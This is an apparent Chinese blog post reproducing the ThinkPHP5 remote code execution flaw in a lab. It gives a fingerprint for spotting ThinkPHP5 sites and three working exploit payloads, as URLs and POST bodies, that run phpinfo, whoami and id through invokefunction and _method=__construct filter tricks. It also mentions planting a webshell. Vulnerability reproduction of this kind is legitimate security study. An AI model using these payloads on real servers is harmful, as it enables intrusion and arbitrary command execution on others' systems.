一、ThinkPHP5代码执行漏洞
特征:被检测系统报错页面出现“十年磨一剑-为API开发设计的高性能框架”,则判定该系统使用ThinkPHP5开发
二、复现
1)
访问
poc:http://192.168.133.128:8080/index.php?s=1/2/3/${phpinfo()}
写入一句话木马:

2)
访问:

poc:
http://192.168.133.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
任意代码执行:
http://192.168.133.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

3)
访问:
poc1:
_method=__construct&filter[]=system&method=get&get[]=whoami
poc2:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

文章详细介绍了ThinkPHP5存在的代码执行漏洞,包括特征识别(如报错页面显示的特定信息)以及三种复现漏洞的方法:通过URL参数触发phpinfo显示、调用call_user_func_array执行任意代码,以及利用_method和filter进行构造请求触发系统命令执行。
5119

被折叠的 条评论
为什么被折叠?



